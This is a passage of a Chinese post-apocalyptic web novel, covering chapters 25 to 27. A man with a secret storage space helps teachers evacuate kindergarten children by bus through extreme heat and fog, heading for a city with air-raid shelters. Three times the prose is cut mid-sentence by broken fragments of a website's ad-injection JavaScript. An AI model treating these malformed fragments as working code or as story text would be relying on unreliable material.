回空间洗了个澡,吃了顿简单的下午饭,顾孟然将睡袋帐篷尽数收进空间,与外公、梁昭背上背包朝城外走去。 车成功找齐了,一辆大巴、一辆越野、一辆山地摩托。 城里建筑残骸太多,出城这段路肯定开不了,顾孟然也不能当着人家面把车掏出来,只能费点力气提前放到城外通畅的道路。 翻山越岭出城,三个人又吭哧吭哧地走了大半个小时,终于绕开拥堵路段,来到宽阔而平坦的国道。 眼看四下无人,顾孟然一点儿都不带犹豫的,上了国道直接把越野车和大巴车往路边一放,问就是绕路开过来的。 他们没急着走,分别给两辆车加满油,而后顾孟然从空间拿出户外电源和空气净化器各两台,让外公和梁昭安装在车里。 其他如电磁炉、电烧水壶、锅碗瓢盆、米面粮油…… 一股脑地塞进后备厢。 赶路嘛,食物主要还是以速食为主,但毕竟带着一群孩子,偶尔改善一下伙食,万一要喝点热水什么的,也不能完全没有。 高温天气食物容易腐坏,速食及牛奶顾孟然只拿出少量装装样子,别人出于礼貌也不好来翻他们的后备箱,只需要知道有就行了,具体有多少……管够! 除此之外,水。 空间矿泉水不多,顾孟然搬出五件矿泉水、两件橙汁,到时候喝完水的瓶子不要丢,洗一洗再装空间里的山泉水就行。 有孩子还得备点零食,顾孟然不知道小孩能吃什么,在外公的建议下,坚果、糖果、果脯果干、海苔……乱七八糟地凑了满满两箱。 后备箱都快塞满了,顾孟然始终觉得差点什么,余光扫过黄灿灿的橙汁,他瞬间眼睛一亮,水果,空间里还有不少水果! 苹果、梨、柚子、哈密瓜……顾孟然挑了些耐放的水果放进车厢,吹着空调的话,短时间应该坏不了。 筹备物资的时候没想过会遇到小孩子,小朋友能穿的衣服一件也没有。夏天出汗总得换的,顾孟然略一思索,拿出一箱成年人的T恤。 大不了当裙子穿!再不济吹空调的时候当被子盖。 吃穿用度全部齐活儿,顾孟然心满意足地从大巴车上下来,“外公你可要看好车啊!走了梁昭,接孩子放学了。” 25. 第 25 章 * “梓轩,子涵,你们慢一点,慢点走!” 浓雾笼罩的街道漆黑一片,宛如窥不见底的深渊,而深渊之上时而传来清脆的嬉笑,轻而易举便驱走潜藏在黑暗中的恐慌与迷茫。 入夜后能见度更低了,四个人带着一群小尾巴,踩着手电照射出来的微光,浩浩荡荡地行走在空无一人的马路上。 梁昭走在最前面带路,推着一辆老式人力三轮车艰难前行。车上大大小小的袋子装着阳光幼儿园的全部物资,这些天魏千兰和周琴在废墟里翻出来的。 顾孟然打着两个手电筒紧随其后,一束光照在梁昭脚下,一束光照在自己身旁,兢兢业业地充当打光师傅。 儿童手环弹簧绳是个好东西,魏千兰与周琴跟在顾孟然身后,一手两个小朋友,牵着一群小尾巴赶路也毫不费力。 天气过分炎热,小朋友们都热蔫儿巴了,加上又有外人在,他们多少有点怯生,路上一句话也不说,苦哈哈地跟着老师走。 但一群人里总有那么几个社牛,比如昨天中暑,今天生龙活虎的小胖墩,比如扎着双马尾,粉嘟嘟的小姑娘。 两小孩儿对顾孟然产生了极大的兴趣,手腕环弹簧绳拉到最长,不顾老师的劝阻,一左一右围绕在顾孟然身旁。 小胖墩一点儿也不怯生,眼巴巴地望着顾孟然,追着他问东问西:“导游哥哥,你们的车停在哪呀?魏老师说我们要去宜南,要坐很久很久的车对吗?我可以选一个靠窗户的位置吗,我、我有一点点晕车。” 不等顾孟然回答,旁边可爱的小女孩叽叽喳喳道:“宜南市一定有可多好吃的!哥哥哥哥,都有些什么呀,你能提前给我们介绍一下吗?” 导、导游? 俩小孩儿一开口,差点把顾孟然整蒙了。 不过他很快反应过来,不动声色地敛下眉间诧异,笑着对两个小朋友说道:“车停在大路上,还要走一会儿,辛苦你们啦。车上座位很多,到时候都给你们安排靠窗的位置。” “真的吗?谢谢哥哥!”小胖高兴得手舞足蹈。 “当然,哥哥从来不骗小孩。” 顾孟然笑了笑,迎着女孩期待的目光,温声道:“你说得没错,宜南美食可多,凉虾见过吗?长得很像虾的糖水,甜丝丝的,还有春卷,薄薄的面皮裹着蔬菜丝,香脆可口。” “哇!”子涵都快被馋哭了,咽了咽口水又问:“哥哥我们能不能坐飞机呀?快一点到宜南好不好?到时候我让爸爸给我买凉虾,给、给哥哥和老师也买。” 顾孟然眉头微挑,随口问道:“你爸爸在宜南?” 子涵小鸡啄米似的点点头,“对呀!魏老师说啦,爸爸妈妈爷爷奶奶都在宜南等我们,他们不能来接我是因为有很重要的事情要做。我已经长大了哦,我要勇敢,我会乖乖跟着老师去找他们的!” “勇敢?哈哈哈……你好勇敢哦宋子涵。刚刚躲着哭鼻子的是谁啊?” “张梓轩你——我要让我妈妈揍你!” “略略略,揍不着。老师说了我哥哥和妈妈也在宜南等我,他已经上小学了知道吗?他壮得像一头牛!” “我不要和你玩了!” …… 小朋友无惧炎热乐此不疲地斗嘴,顾孟然眉头紧蹙,胸闷得快喘不上气儿来。 善意的谎言能维持多久?或许这一路能够相安无事,可抵达终点后,得知真相的孩子们又该怎么办? 在黄江过着与世隔绝的日子,顾孟然差点忘了,真正的末世原来是这般残酷。 带着小朋友赶路被迫放慢了速度,一个多小时的路程走了快两个小时才看到大巴车的影子。 都热坏了,尤其是一群孩子。好在大巴车提前启动,车内雾气散尽,持续运转的空调吹拂着凉气,将车厢温度稳稳维持在27度左右。 两位老师组织有序,小朋友们乖乖排队上车。 原本一个个就像路边晒蔫儿巴的野草,耷拉着脑袋有气无力。但就在登上汽车后,清爽的凉气扑面而来,小家伙们如沐春风,枯萎的叶片重新挂绿。 “哇,好大的车!我要坐第一排。” “好舒服啊,进来一下子就不热了。” “我、我要靠窗户的位置!” 凉风一吹,小朋友们瞬间精神了,哒哒哒地在车厢里跑来跑去,兴奋地挑选座位。 “不要抢,车里座位很多,一个人挑两个连在一起位置,方便晚上睡觉。选好了就坐下来休息,不要乱跑。” 周琴高声嘱咐,小朋友们齐声道:“好!” 魏千兰负责前门,周琴负责后门,孩子们上车后,她们站在车门前回看车厢,额头上布满细密的汗珠,脸上却洋溢着轻松而愉悦的笑。 两位老师尽职尽责,顾孟然在路边站一会儿,见实在帮不上忙,便掀起衣摆擦擦脑门上的汗,跟着上车打开行李架挡板。 全新未拆封的T恤、精心准备的零食、提前清洗干净的水果……小孩儿管不住嘴,吃的不能一次性分下去,顾孟然把周琴叫了过来,将行李架上的物资交由她保管。 看到T恤和零食,周琴默默感慨他们的物资真多。可一袋挂着水珠新鲜水果突然呈现在眼前,有那么一瞬间,周琴以为自己产生了幻觉。 “好新鲜的水果!现在居然还能吃上水果,你们在这是哪找的?”周琴惊呆了,费了很大力气才从红彤彤的苹果上挪开视线,难以置信地望向顾孟然。 惊讶归惊讶,她刻意地压低了嗓音,没让小朋友听见。 顾孟然喘了口粗气,面不改色道:“路上碰到一间几乎没塌的水果店,有些是在那里拿的,另外这些……我们绕路嘛,在郊外看到不少果树,顺手摘的。” 说多错多,不等周琴再问,顾孟然连忙道:“你们看情况给孩子们分吧,当然了,你们也别客气,随便吃。衣服那些都是大人的,只能将就将就。” 顾孟然顿了一下,目光扫过座位上筋疲力尽的孩子们,语气变得郑重其事:“吃的喝的不用特意节省,该吃就吃,小朋友长身体呢。物资方面不用你们操心,再不济我们还能路上找,既然决定一起走,这些我们会负责到底。” 略微沙哑的嗓音回荡在车厢,周琴的眼眶瞬间红了。 她嘴唇翕动似乎想和顾孟然道谢,但忽然涌上来的情绪让她喉咙莫名发紧,根本发不出任何声音。 “没事没事,我们就是帮点小忙,你们才是人美心善的好老师。不要想太多,早点休息。”顾孟然笑着说完,伸手在她肩膀轻轻拍了拍,而后越过她走向驾驶位。 大巴车操作复杂,顾孟然把魏千兰叫到驾驶台,现学现卖,将车门如何关闭,空调温度如何调节等重要事宜交代给她。 夜晚能见度低得可怜,今天晚上不走了,大晚上把小朋友接到车里主要为了让他们吹吹空调,好好睡一晚上。 与小朋友们互道晚安,顾孟然从大巴车下来,而梁昭那边刚好把三轮车上的物资收拾好,推着车往前面越野车走。 擦肩而过时,顾孟然果断叫住他,随后两人将三轮车推进伸手不见五指的浓雾中,悄咪咪地收进空间。 累, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顶着高温在外奔波一天,不亚于在工地上搬一天砖。踩着微光走回越野车,车门轻轻一拉,沁人心脾的凉意驱走热气,顾孟然这才有了还活着的实质感。 驾驶位座椅放倒,老爷子握着蒲扇躺在座椅上,睡得别提多香。时高时低的呼噜声打破夜晚的宁静,让陌生的车厢多了一丝烟火气息。 一身汗黏腻腻的,坐进后排吹了会空调,顾孟然果断带着梁昭回空间洗了个澡,顺带给空间里家禽、家畜喂了些大白菜。 晚饭吃得早,出来感觉肚子又饿了,顾孟然摸出两大袋蓬松暄软的老式手撕面包,与梁昭就着橙汁边吃边喝。 包装袋“滋滋”作响,两人的咀嚼声也不算小,这么大的动静老爷子愣是一点儿没醒,呼噜声一声比一声响亮。 而顾孟然吃饱喝足,摸出两个又大又红的苹果分给梁昭。别说削皮了,甚至洗都没洗,随便用纸巾擦擦表皮便“咔嚓”一口咬下去。 就这一声响,老爷子鼻尖微动,噌地一下坐起身。 “砰——” 动作太大,头顶直接与车顶来了个亲密接触,但老爷子毫不在意,猛地回头望向顾孟然,“嚯,我就说闻到苹果味儿,你小子吃独食呢!” 顾孟然把苹果拿到眼皮子底下瞅了一眼,确认自己拿的是苹果而不是榴莲,笑着调侃道:“外公你这鼻子真好使,什么时候借我用用?” 开着玩笑,顾孟然拿出一个苹果抛给外公。 老爷子双手稳稳接住,擦都不带擦的,咔嚓咬下一大口,鼓着腮帮子满足地感叹:“还得是这个味儿,又脆又甜!哎,算起来都多久没吃上新鲜水果了,是真馋呐。” 听到这话,顾孟然不太自然地摸了摸鼻头,小声嘟囔:“外公你这话说得,搞得像亏待你们一样。想吃就说一声嘛,我就一个脑子,有时候真给忙忘了。” “嘿,你这小子,这锅也能甩到我头上?” “本来就是嘛!” 锅要甩,吃也得吃,反正空间里的水果还多,顾孟然索性拿出一个小果盘,装了些大枣、脆红李、车厘子之类方便食用的水果。 老爷子见状三两下把苹果啃完,摸了一把车厘子大快朵颐。吃着吃着他似乎终于想起了今晚在这儿的目的,忽然停止咀嚼,瞪大眼睛看着顾孟然。 “小孩儿呢?都接过来了吗?” 顾孟然扑哧一笑,“你猜?” 孟高阳:“你小子——” “孟爷爷不用担心,都安顿好了。”梁昭沉声安抚,回头指了下后挡风,“今晚他们睡在后面车里。” “那就好那就好,我都给睡懵了。” 老爷子拍拍胸口,顺手往嘴里丢了一颗车厘子,“那咱们今晚怎么睡?后边座椅摊开能睡两个,三个人就太挤了,前面躺着腿都伸不直,有点憋屈。” 梁昭个高,外公太胖,一米八的顾孟然反倒成了个子最小的。 顾孟然琢磨了一下,“我睡前面吧,你们挤一挤。” 视线游离在顾孟然与梁昭之间,孟高阳“啧”了一声,不怀好意地笑了笑,“大巴车多宽敞啊,要不我去后面挤一挤,你俩在这睡?” “不行。”顾孟然一口拒绝。 老爷子还以为自家外孙不好意思和梁昭单独相处,正打算调侃他几句,顾孟然神情突然严肃,郑重其事道:“再怎么说我们也是三个大老爷们,白天还没什么,大晚上跟别人睡一个车上,别人能睡踏实吗?” “他们已经没有家了,大巴车是他们唯一的落脚地,给她们一点私人空间,给她们一点安全感吧。” 26. 第 26 章 * 吹着空调睡了个难得的好觉,第二天,顾孟然早早起床洗漱,随后趁着众人没醒,分别给两辆汽车补充汽油。 怠速开空调油耗很高,越野车还好,大巴车才不得了。 空间燃油充裕,但只出不进顾孟然心里始终不太踏实。不管怎么样,路上还是得多留意点,看看有没有加油站能补充一批燃油。 “哎哟,累。” 给大巴车加满油,又检查了一下后备箱物资情况,顾孟然伸着懒腰往回走。 两辆车间隔着五六米,层层浓雾阻隔,平常基本互相看不见。但这会儿他刚从大巴车的车尾走到车头,越野车轮廓依稀可见,一个模糊的身影忽然出现在灰蒙蒙的雾气中。 雾淡了,顾孟然一眼就看到梁昭站在车门前。 但……淡的不多,因为顾孟然是凭身形认出来的。 “感觉到了吗梁昭?”顾孟然快步走到梁昭身旁,颇为得意地耸了耸肩,“雾淡了,没忽悠你吧?” 梁昭四下环视一圈,目光停留在顾孟然头顶,低低地“嗯”了一声,“相比昨天的确淡了一点,但能见度还是很低。” “没办法啊,这么浓的雾,短时间内散不了。” 顾孟然长叹一口气,抬眸与梁昭对视片刻,略显迟疑道:“你能行吗?我还是有点不放心。” 三个大老爷们没一个会开大车,只有梁昭曾经在汽修厂工作过一段时间,勉强算接触过。 极低的能见度,陌生的车辆,顾孟然想着自己在车上还好,万一发生意外还能及时将人带进空间,至少有张底牌在手上。 但能见度太低了,车上还带着一群孩子,贸然开着大巴行驶太过危险,他们还需要另一辆车来探路,而手握空间的顾孟然——最佳探路司机人选。 梁昭迟迟没有回答,顾孟然收回不断飘远的思绪,抬头疑惑地看了他一眼。 无意一抬头,本应落在头顶的手蒙住了顾孟然的眼睛。 对方似乎也很意外,指尖微微一颤,然后顾孟然感觉到,粗粝的掌心划过皮肤,低沉喑哑的嗓音在耳边响起:“你的前方是未知,我的前方是你,我们同进同退,同生共死。” 同生共死……上辈子算吗? 心脏像被针尖刺了一下,顾孟然鼻尖泛起了酸意,还没想明白梁昭为什么这样说,一声轻咳搅乱了翻涌的情绪。 覆在眼睛上的手及时抽走,顾孟然重获光明,睁眼就看到贴在后窗玻璃上,脸都快挤变形了,仍坚持八卦的外公。 像个滑稽的喜剧演员,顾孟然被他逗笑了,也没觉得尴尬,摸出两个对讲机递给梁昭一个,故作轻松道:“什么死不死的,车速慢一点,保持在二三十码,翻车就当摔一跤。” “走了走了,上车吃饭吹空调,等他们醒了就出发。” * 半个小时后,停在路边的越野车缓缓移动,而后大巴车与其保持着两三米的安全距离,载着一车欢声笑语,平稳而缓慢地驶向浓雾中。 白天赶路晚上休息,一走就是一个多礼拜。 雾一天比一天淡,能见度逐渐回升,三十码的车速慢慢地提升到五六十码。似乎一切都在往好的方向发展,但急剧升高的气温无时无刻不在提醒着顾孟然,情况不太妙。 “砰,砰砰砰!” 越野车平稳前行,燥闷的热气淤积,车厢几乎变烤箱。 顾孟然手握方向盘专注前方路面,额间汗水无声滴落,脖间T恤都被濡湿了一圈。而他身旁副驾驶,老爷子脸涨得通红,顶着一脑门汗,对着空调出风口连打带拍、砰砰砰地一顿输出。 明显热急了,他下手越来越重,边拍边埋怨:“什么破玩意儿,咋还能吹热风呢?嫌我们不够热还给加点温?” 顾孟然被外公逗笑了,腾出手抽了张纸巾擦汗,重重呼出一口热气,“没用的外公,它又不是电视机,拍一拍就好了。估计是压缩机过热保护,吹不出冷风了。” “那咋办?再这么下去咱俩指定中暑。”孟高阳拿不定主意,果断将目光转向顾孟然。 咋办?顾孟然也不知道咋办。 空调故障时而冷风时而热风,与座椅接触的后背全是汗,就像待在汗蒸房一样,上蒸下煮,胸闷得喘不过气,肺管子都快着火了。 额头上的冰凉贴捂得热热乎乎,感受不到任何凉意,好在挂脖风扇还能用,车内空调勉强还能吹出风,甭管热风冷风,至少车厢里的空气是流动的。 还得再忍忍,下午一点半,现在外面的温度只高不低,修空调也得挑个凉快的时候修。 顾孟然没能给出解决方案,燥热难耐的老爷子选择自己解决。他左手反复拧动温度调节按钮,右手猛拍出风口,试图凭运气和蛮力将空调给修好。 “砰砰砰”的拍打声回荡在车厢,顾孟然听得心惊肉跳,忍不住出声提醒:“外公你别太暴力了,万一把风都给弄没——” 话还没说完,车厢突然安静下来。 老爷子不拍了,“丝丝”往外吹风的出风口静止不动,再无一丝微风。 顾孟然:“好好好,我就说吧,你看——” “乌鸦嘴!”老爷子先发制人。 顾孟然笑出了声,“行,算我乌鸦嘴,现在咋办吧?” 老爷子没说话,默默拿起大腿上的对讲机呼叫后车:“梁昭梁昭,准备靠边停车,靠边停车。” “滋滋,收到!” 一分钟后,两辆车一前一后停在了路边。 黑色褪尽,弥漫在空气中的雾气变回了原本的枯叶黄。浓度明显降低,随风荡漾的薄雾宛如轻纱包裹大地,眺望远处仿若置身仙境。 车门一开,滚滚热浪扑面而来,顾孟然猝不及防灌入一嘴热气,差点当场爆粗口。 仙境?地狱还差不多,还是第九层,下油锅的那种。 气温飙升至48℃,即将突破50大关。 下车走两步顾孟然感觉身体里的水分都快被蒸干了,更别说停在路边顶着高温修车。 能见度正持续回升,探路的越野车可有可无。顾孟然只用了一两分钟来思考,当即决定丢下陪他们走了一路的越野车。 梁昭下车来帮忙,三个人把油箱里的汽油抽出来,物资搬出来。整得跟逃难似的,拎着大包小包,以最快的速度将物资搬到大巴车。 大巴车载着一群小孩,空调开得没那么低,不过登上车的那一刻,沁人心脾的凉意包裹着身体,顾孟然顿时有种从地狱中爬出来的感觉。 大巴车三十多个座位,多两个人不多。但放弃越野车也意味着,他们晚上只能和老师、孩子们挤在一辆车休息。 已经不再是陌生人了,一周的相处足够建立信任。 他们在下面搬行李的时候,两位老师在上面忙忙碌碌,陆续将小朋友们转移到车厢后半截,以车门为分界线,把汽车前排座位留给他们。 顾孟然喜欢这种边界感,上车后和两位老师打了招呼,把事先准备好的薄荷糖拿出来,给小朋友一人分了两颗。 大巴车重新启动,沿着国道平稳行驶。 一身汗未干,顾孟然走回第一排,靠着窗户坐下。 窗外朦胧的黄雾随车辆移动而凝成一团,柏油马路银光微闪,滚烫的热浪仿佛有了实质感,混杂着雾气于马路上翻涌跳跃,弥漫着令人窒息的灼热感。 顾孟然扬着下巴侧目看向窗外,眉头紧紧拧成一团。 失策,走得还是太仓促了,出发前应该多找几辆车的。没日没夜地开空调,最耐造的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 越野车都罢工了,大巴车还能撑多久? 空调故障事小,万一大巴车坏在前不着村后不着店的地儿,让一群孩子在“桑拿房”里徒步,后果简直不敢想象。 现下能见度恢复得差不多了,要不找个机会把他们带上船?可这些天频频余震,这时候的黄江比陆地更危险。 水路陆路,没一条路好走。 越想越觉得不安,顾孟然烦躁地抓了把头发。 “怎么了?” 手还没从头上拿下来,一声极轻的询问忽然从前方传来。顾孟然眼眸微抬,竟隔着玻璃与后视镜里的梁昭对上了视线。 第一排与驾驶位仍有一定的距离,顾孟然倒是想和梁昭商量,但又担心被其他人听见,弄得人心惶惶,想了想便摇摇头,“没,没怎么。” 梁昭好似猜到他心中所想,刻意压低了嗓音,用只有两个人能听到的气音说道:“担心车在路上坏了?” “有这么明显吗?” 顾孟然诧异地看了他一眼,放轻动作起身,轻手轻脚地挪到驾驶椅背后,小声将心中顾虑说给梁昭:“天太热了,大巴车不知道能撑多久,风翼号……我不敢拿风翼来冒险。梁昭,你说我们是不是应该停下来,找个安全的地方休息一段时间?” 车速不算快,梁昭目不转睛地盯着前方路边,注意力却全部集中在身后。 认真听完他的顾虑与困惑,梁昭没有第一时间回答,轻声反问道。“气温还会继续升高?还是说现在已经是最高温度?” “还会继续升高。”顾孟然不假思索道。 梁昭若有所思地点点头,指尖在方向盘上轻轻敲了两下,“这样看来,有必要停下来休整一段时日。我们没有备用车辆,车坏在半路会很麻烦。而且连续赶路一周,小朋友们多少有点吃不消,停下来休息是迟早的。” “当然,最重要的原因,”梁昭顿了一下,透过后视镜看了一眼顾孟然,“一周了,我们的汽油和食物消耗得差不多了,是不是应该找机会‘补充’一些?” 宜南天远地远,他们走的还是沿江路,绕了不少远路,以目前这个路线和速度,一个月都不一定走得到。 一口气吃不成胖子,顾孟然想了想,认真点头,“很多问题我都忽略了,你说得没错。我们昨天下午刚过万阳是吧?去哪临时休息呢,最近的城市……” 空间里有纸质地图、自制路线图,但车厢人多眼杂,顾孟然没敢随意拿出来,托着腮帮子可劲儿琢磨。 不熟悉这片地区,他想了半天也没想出个所以然。 梁昭见状温馨提醒:“晋城,还有山城。你先回座位坐好,这段路有点颠簸,小心摔了。” 顾孟然待在原地不动,不以为意地耸耸肩,“没事的讨论一下嘛,相信你的车技,只要车不出问题,你不会让我摔——” “砰!” 一声巨响突然从车底传来,大巴车随即猛地一颤。方向盘几乎瞬间脱离掌控,大巴车宛如脱缰的野马,不受控制地向右前方山体偏移。 好在车速不算太快,梁昭右脚反复点踩制动踏板,双手迅速向左打转方向盘,及时纠正偏移方向。 事发不过短短几十秒,大巴车缓慢且平稳地停在路边。 车厢一片混乱,睡梦中的孩子们被剧烈晃动惊醒,其中个别小朋友受了惊吓,吓得哇哇大哭。 顾孟然踉跄摔坐在架势椅背后,蒙了好一阵儿,直到梁昭朝他伸出手,他这才借着梁昭的力气,惊魂未定的站起身。 “怎么回事?什么东西炸了?”脑瓜子嗡嗡的,顾孟然一时间没反应过来。 梁昭拉起手刹从座位上起来,眉头微蹙,“应该是爆胎了。” 顾孟然:…… 不是,真成乌鸦嘴了? 27.第 27 章 * 右后方车轮爆裂,好似泄了气的皮球黏在车轱辘上,彻彻底底地瘪了下去。 修理工具倒是齐全,但外胎都炸开花了,碎片残骸飞得到处都是,这还修个der!除了更换备胎别无他法。 好的问题来了,备胎,哪来的备胎? 身处密不透风的热浪,四分五裂的车轮摆在眼前,顾孟然头疼得不行,揉着太阳穴来回踱步,一肚子怨气无处发泄,最终化作一声叹息。 “哎!这都什么事儿啊。” 梁昭把千斤顶放回后备厢,撩起衣摆擦了擦额头上的汗。听到顾孟然哀怨的叹息,他从后备厢拖出防滑链,快步走向大巴车侧方。 仅仅是在路边站了几分钟,顾孟然袒露在外的皮肤热得通红,还没干透的T恤又湿了,光洁的额头全是汗珠。 梁昭快步走近,防滑链都没来得及放下,先从工装裤兜里摸出一包餐巾纸递给顾孟然,“别急,车还能开,你先上车待着,我来解决。” “烂成这样了怎么解决?”顾孟然接过纸巾,抽出一张擦了擦脸。余光扫过梁昭手中防滑链,他动作一顿,诧异道:“你打算……给车轱辘套个防滑链?” 梁昭笑着点头,“运气还算不错,这辆长途旅游大巴六个车轮,爆胎的又正好是中间的承重平衡轮,影响不算太大。” 知道顾孟然好奇心重,梁昭一边将防滑链铺在地上,一边给顾孟然解释:“完全没影响是不可能的,车轮瘪了没办法充气,所以——” “所以套个防滑链稳住轮胎将就开,反正也不是自己的车,折腾坏了也不心疼,开多远算多远?”顾孟然自认为猜到了正确答案,紧蹙的眉头缓缓舒展,眼底重现笑意。 梁昭低低一笑,将乱糟糟的防滑链整理好,蹲下身往车轮下面铺,“恭喜你猜对了,奖励是上车吹空调。” 这么热的天,顾孟然哪忍心丢下他一个在这弄,赶忙蹲下身帮忙。 防滑链安装起来麻烦,两人先将防滑链平铺在车轮前方,再由司机梁昭上车开动车辆,缓慢前行,直至链条彻底将车轮包裹住,链条首尾相扣才算完事。 折腾了十分钟,顾孟然从地上爬起来,热出一身汗。 车门缓缓打开,顾孟然呼出一口热气,准备重新投入空调的怀抱。可他第一时间抬腿居然没抬动,像是被人握住了脚踝,腿未动身体先动,害他差点直愣愣地摔下去。 前摇后晃竭力稳住身形,顾孟然低头一瞅,瞳孔震惊。 被握住的不是脚踝,而是鞋子! 地面温度太高,鞋底烫化了,黏地上了!! 倒没有胶水那般牢固,但顾孟然用力抬脚尝试挪动,他刚换没几天的新运动鞋……鞋底拉丝了。 怪不得汽车会爆胎,这地表温度能煎鸡蛋了吧? 颇为狼狈地回到车上,顾孟然瘫坐在座椅充当一具尸体。然而气儿都没喘匀,眼看梁昭放下手刹准备重新出发,顾孟然紧急叫停: “别,先别走梁昭,你过来,过来一下。” “怎么了?”梁昭来得很快,话音刚落便坐在了顾孟然身旁。 “山城咳,咳咳咳……”刚说出两个字顾孟然就被一口气呛着,咳得撕心裂肺,直拍胸口。 梁昭迅速从行李架上拿下一瓶矿泉水,拧开瓶盖轻拍顾孟然的后背,直到他渐渐停止咳嗽,这才将水递给他。 “想问还有多久能到山城?”梁昭重新坐下。 顾孟然小鸡啄米似的点点头,小口抿着矿泉水。 “估计还有七八十多公里,”梁昭大致估算了一下,说:“以我们目前的速度,至少三个小时。晋城稍微近一点,一个小时左右应该就能抵达。” 顾孟然摇摇头:“不,去晋城,三个小时就三个小时,我们去山城。” “为什么一定是山城?”梁昭难得好奇,多问了一句。 顾孟然呼吸逐渐平稳,看着满眼不解的梁昭,忍不住调侃道:“一看你就不怎么出去玩。山城地貌以山地、丘陵为主,独特的地形、独特的城市建设方式,之前网上不是很火嘛,都说那是3D魔幻城市。 同样经历了特大地震,无依无靠的城市全部遭殃,无一幸免。但依山而建的山城,我觉得她的情况可能比别地方好一点。” “没错,而且山城是目前防空洞最多的城市,在那里避暑应该相当不错。” 身后突然传来外公的声音,顾孟然猛地一回头,身后已经围了一圈人。外公、魏千兰、周琴,车内所有成年人都凑了过来,一个个竖起耳朵听得认真。 来得正好,本来也没打算瞒着。 顾孟然将目光转向魏千兰和周琴,轻声询问两人的意见:“车撑不了多久,我们不能继续走了,我们需要停下来重新找车、补充物资,顺便让孩子们好好休息一下。我个人偏向于山城,你们觉得怎么样?” “我觉得可以。”魏千兰果断点点头,“我以前去过山城旅游,跟孟爷爷说得差不多,地下防空洞非常多。如果我们能顺利找到的话,在那里避暑确实很不错。” 周琴对山城不太了解,也跟着点下头,“我听你们的。这些天顶着高温赶路,你们辛苦了,小朋友们坐车也坐累了,是应该找个地方休息休息。” 所有人意见一致,顾孟然当即一拍手,“那就这么说定了,出发,去山城!” * 三个半小时后,继右侧承重平衡胎,又损失了一个前轮的情况下,大巴车摇摇晃晃,一路颠簸进入山城。 黄雾笼罩着这座城市,往日辉煌不复存在,高楼大厦沦为废墟,死亡的气息无处不在。 显然,山城没有达到顾孟然的预期,虽还未深入城市,但目之所及皆是残垣断壁,仅有零星几座建筑矗立在一片狼藉的废墟中。 来都来了,大巴车已是强弩之末,他们没有其他选择,顾孟然只能将最后的希望寄予地下防空洞。 进城不到五分钟,大巴车被迫停在了路边。 路面建筑残骸越来越多,空无一人的道路逐渐被“僵尸车”占领,前面的路大巴车走不了了,他们只能顶着高温徒步进城。 有目的地还好,顶多热一阵子,可带着一群孩子游荡在废墟中寻找防空洞…… 行不通,顾孟然拍了拍额头。 大巴车停稳,梁昭解开安全带迎面走来。 没等他走近,顾孟然先一步起身,严肃而凝重道:“交给你个任务梁昭,你留着车上照顾老师和小朋友,我和外公下车去找地方歇脚。” 他刻意将“照顾”两个字说得很重,梁昭一听便懂。但懂归懂,梁昭几乎想都没想,一口拒绝:“不行。” 两人说话声音不算小,其他人也听得到,同样听得懂。 梁昭这边刚刚拒绝,魏千兰的声音立刻从车厢后方传来:“顾孟然,不用特意留人照顾我们,我和周琴可以照顾好孩子们。你们一块去吧,人生地不熟的,人多安全一点。” “对,我们可以的。”周 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 琴连连点头,“你们拿点工具防身,路上小心一点。我们在车上待着哪也不去,你们找到合适的地方回来找我们就行。” 两位老师说得风轻云淡,顾孟然紧拧的眉头一直未曾舒展。 一群小孩,两个女生,谁放心啊? 梁昭和他的想法差不多,略微思索后对顾孟然说道:“让孟爷爷留在车里,把后备厢里的油锯留给他们防身。我们两个出去,先不要走太远,就在附近转一转。” 车门之外就是一个大烤炉,让外公留在乘凉倒也不错。外公年纪大了,但身子骨硬朗,有防身武器的情况下,战斗力不输于年轻壮小伙。 没给老爷子拒绝的机会,顾孟然点头应下,“行。” 从“后备箱”将油锯拿出来分发给三人,顾孟然又交代了些注意事项。随后他与梁昭将背包找出来,食物和水装上一些,拿上防身工具,戴上口罩走出车门。 黄雾笼罩的城市一片死寂,弥漫着死亡气息的废墟中听不到一丝动静。燥闷的高温持续烘烤,热浪侵袭,夹缝中生存的老鼠与蟑螂均已绝迹。 出来这趟主要为了寻找防空洞,但他们也不能徒手在废墟中翻找,于是顾孟然和梁昭合计了一番,把目光放在了残垣断壁中为数不多的建筑物上。 未完全坍塌的建筑物如鹤立鸡群,无需特意寻找,随意一眼便能看到。但就算如此,两人踩着碎砖瓦砾,顶着高温艰难前行,用了十分钟才找到一座勉强能进人的建筑。 曾经繁华热闹的广场被大量建筑残骸掩埋,矗立其中的商场七零八落,主楼坍塌了将近大半,像个散架的积木一般,摇摇欲坠,随时有二次坍塌的风险。 商城多个出入口,正门塌了还有侧门。 顾孟然怀揣着希望走近,准备与梁昭进入商场一探究竟,找不到防空洞,找个地下室、地下停车场也是极好的。 正值盛夏,商城入口挂着透明防风门帘,顾孟然率先掀起门帘,侧身准备入内,可就在这时,一股极其难闻的恶臭从商场中飘出来,穿透防护口罩扑鼻而来。 很难形容的味道,就像堆积成山的尸体在高温下慢慢腐烂、尸水与血肉一同发酵,令人作呕的腐臭直冲脑门,熏得人头晕目眩。 身体比大脑反应更快,顾孟然丢下门帘,拽着梁昭连连后退。直到与商场入口拉开十来米的距离,顾孟然摘下口罩呼吸着新鲜空气,“不行不行,我觉得这楼还会二次坍塌,我们不进去了,再找找别的吧。” 小脸皱巴巴地拧成一团,一看就是嫌弃得不行。 梁昭没有点破,轻轻“嗯”了一声,“你口罩脏了,换一个吧。” 踩着碎石残骸继续前行,四十分钟后,两人停在一个曾经看都不敢多看一眼的高档小区跟前。 低矮建筑塌成一片,高层建筑同样未能幸免,但这个小区住宅楼倒塌的方式与别的住宅楼明显不同,整体建筑向内倾倒,像是被拦腰斩断,沿街住宅底商有幸逃过一劫。 两人小区商铺逐一搜寻,没有发现地下室,也没有找到地下车库入口,好不容易找到一家便利店,店内商品却被洗劫一空。 显然,这里已经被人搜过一遍。 天快黑了,顾孟然和梁昭没敢贸然进入小区探查,打算在周围继续找一找,把这里当成备用点。 可就在他们走到对面街道,准备离开时,顾孟然无意回头看了一眼,住宅底商在视野中渐渐缩小,一栋隐蔽在树丛中,近乎完好的双层小洋楼露出冰山一角。 